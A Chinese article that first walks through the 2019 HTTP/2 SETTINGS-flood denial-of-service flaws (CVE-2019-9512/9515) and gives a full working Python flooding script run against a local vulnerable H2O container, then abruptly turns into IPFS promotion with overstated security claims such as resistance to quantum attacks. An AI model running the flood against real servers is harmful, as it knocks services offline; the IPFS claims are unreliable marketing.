在这个数据、应用横行的时代,漏洞的出现早已屡见不鲜。在尚未造成大面积危害之前,我们该如何做好防御措施?或许从过往经常发生漏洞的事件中我们能够得到一些启发。
近日,Netflix、Google 及 CERT/CC 披露了 HTTP/2 相关的 8 个安全漏洞,就连用来打造 Kubernetes 的 Go 语言也受到其中两个漏洞的波及,导致 Kubernetes 所有版本都受到相关漏洞影响,可能造成服务阻断。不过好在现在漏洞已修复,而我们在这个过程中又可以学习到什么?
几周前,Netflix公开了许多第三方HTTP/2实现中都存在的资源耗尽漏洞——由Jonathan Looney发现。该漏洞会直接影响Kubernetes中的HTTP/2端点(由net/http、x/net/http2等GoLang库实现),还会影响到nginx等其他项目。甚至还有人为这个漏洞画了个标志。
虽然人们对DoS的漏洞见怪不怪了,但我没有太多有关HTTP/2的经验,特别是在传输层,所以我决定利用这次机会深入了解HTTP/2的规范及其工作原理。
背景:为了理解HTTP/2实现中的各种弱点,你需要深刻地理解HTTP/1.1和HTTP/2之间的基本差异。更多详细信息,我推荐你阅读Google的HTTP/2简介(https://developers.google.com/web/fundamentals/performance/http2/),在文本中,我只介绍几个关键点。
HTTP/2引入了一个与HTTP/1.1的数据传输有显著差异的功能:通过单个TCP连接多路复用多个数据交换。该功能为HTTP/2带来了显著的性能优势,但它本身需要一些额外的流控制逻辑。简而言之,在HTTP/2中,单个TCP连接可以携带多个流,这些流由包含帧序列的多个消息组成。
从上图中可以看出,HTTP/2与标准的HTTP的请求-响应语法非常接近,只不过这些请求和响应封装在了包含相关帧(HEADERS和DATA)的HTTP/2消息流中。这个规范中有许多其他帧类型,主要与流控制相关,熟悉HTTP/1.1模型的人可能并不了解这些类型:
PRIORITY
RST_STREAM
SETTINGS
PUSH_PROMISE
PING
GOAWAY
WINDOW_UPDATE
CONTINUATION
漏洞:下面让我们来看一看CVE-2019-9512和CVE-2019-9515,二者分别会利用PING和空SETTINGS帧发送大量消息到HTTP/2的监听进程。最初的公告表明,恶意客户端会将这些帧发送到服务器上,迫使服务器生成响应,但客户端不会读取响应,它们会持续发送大量消息,最终可能耗尽服务器的CPU和内存。
请注意,普通的客户端通常不会持续发送PING帧数据流,这只是为了比较正常的客户端数据交换与恶意客户端的攻击行为而举的例子。
概念验证:由于没有找到公开的概念验证程序,所以我决定编写一个,然后找一个未修复的本地目标进行测试。H2O似乎是一个不错的选择,所以我选择了他们易受攻击的docker镜像版本,并发送了如下curl测试请求:
如上所示,curl请求的响应头部确认该服务器支持HTTP/2。现在我找到了一个易受攻击的目标,接下来开始编写入侵代码——这里我们只关心SETTINGS帧的洪水攻击:
攻击者发送一系列SETTINGS帧。由于RFC要求服务器针对每个SETTINGS帧回复一个确认,因此空SETTINGS帧几乎等同于ping的行为。根据该数据的队列效率,这些请求可能会过度消耗CPU或内存(或两者兼有),最终导致服务器拒绝访问。
这种攻击看起来很简单:我们只需要重复发送空SETTINGS帧,直到目标服务降级为止。看似就这么简单:我们只需要通过发送HTTP/2的引导帧来启动连接。下面是Wireshark截获的连接引导帧:
接下来,我们只需要一个空SETTINGS帧的结构:
在收集到所需的二进制消息帧的示例之后,我们就可以编写攻击循环了(仅用于研究目的)。
import socket
import sys
import time
class SettingsFlood:
SETTINGS_FRAME = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00*\x04\x00\x00\x00' \
b'\x00\x00\x00\x01\x00\x00\x10\x00\x00\x02\x00\x00\x00\x01' \
b'\x00\x04\x00\x00\xff\xff\x00\x05\x00\x00@\x00\x00\x08\x00' \
b'\x00\x00\x00\x00\x03\x00\x00\x00d\x00\x06\x00\x01\x00\x00'
def __init__(self, ip, port=80, socket_count=200):
self._ip = ip
self._port = port
self._sockets = [self.create_socket() for _ in range(socket_count)]
def create_socket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((self._ip, self._port))
s.send(self.PREAMBLE)
return s
except socket.error as se:
print("Error: "+str(se))
time.sleep(0.5)
return self.create_socket()
def attack(self, timeout=sys.maxsize, sleep=1):
t, i = time.time(), 0
while time.time() - t < timeout:
for s in self._sockets:
try:
s.send(self.SETTINGS_FRAME)
except socket.error:
self._sockets.remove(s)
self._sockets.append(self.create_socket())
time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
dos.attack(timeout=60*10*10)
在针对测试容器运行上述脚本并发送另一个curl请求后,很明显攻击开始按照计划展开了——请求在等待服务器响应时挂起:
修复:大多数受影响的服务商都针对这些问题发布了补丁,他们采用了与H2O和GoLang类似的方法:限制发送队列中控制帧的数量。
目前,各种数据信息泄露的原因虽各有差异,却还是集中在数据未得到保护、内部管理疏漏、系统安全性差等方面,导致大量信息数据被他人轻易获取。总而言之,就是数据存储过于中心化。服务提供商们一边为用户提供服务一边又想方设法获取用户信息,存储了大量的用户的隐私数据,一旦服务商们的数据中心遭到攻击,就有可能造成大规模数据泄露。
在信息数据的作用与地位日渐重要的今天,信息数据的安全问题不仅关乎企业声誉、公众信任感、经济利益、生死存亡的问题,还会对个人造成难以估量的后果。轻则账号密码被盗,重则隐私泄露财产丢失!
所以,保护信息安全,我们势在必行。
而恰好IPFS中的存储是分布式的,数据被分散的存储在网络的节点中,没有哪个节点可以拥有全部的数据信息。IPFS天生就拥有抵挡攻击的能力, 所有的访问将会被分散到不同的节点. 甚至攻击者自己也是节点之一. 某种程度上讲, IPFS甚至能抵挡量子计算的攻击。并且一个节点所储存的数据在别的节点是有备份的,这样又可以防止数据丢失。IPFS所使用的自验证系统更加安全,每份数据文件都会被加密,而密钥只有用户拥有,因此即使攻击者盗窃文件成功,他也会因为没有密钥而不能访问数据。由此IPFS保证了数据只属于用户。
在IPFS的白皮书中提到,数据库是可以直接存储在IPFS的文件系统中的,即可以做到数据。
自动备份, 永不丢失, 安全加密, 无限空间, 高速连接。如此,还会发生这么多信息泄露事件吗?
在这个个人信息很值钱却又不值钱的年代,IPFS能够做到的就是帮助我们,将信息数据牢牢掌控在自己手中!
注:本文不作为投资理财建议,投资有风险,入市需谨慎。
来源:全球币码翁区块链研究院
本期编辑:Alice
有疑问加站长微信联系(非本文作者)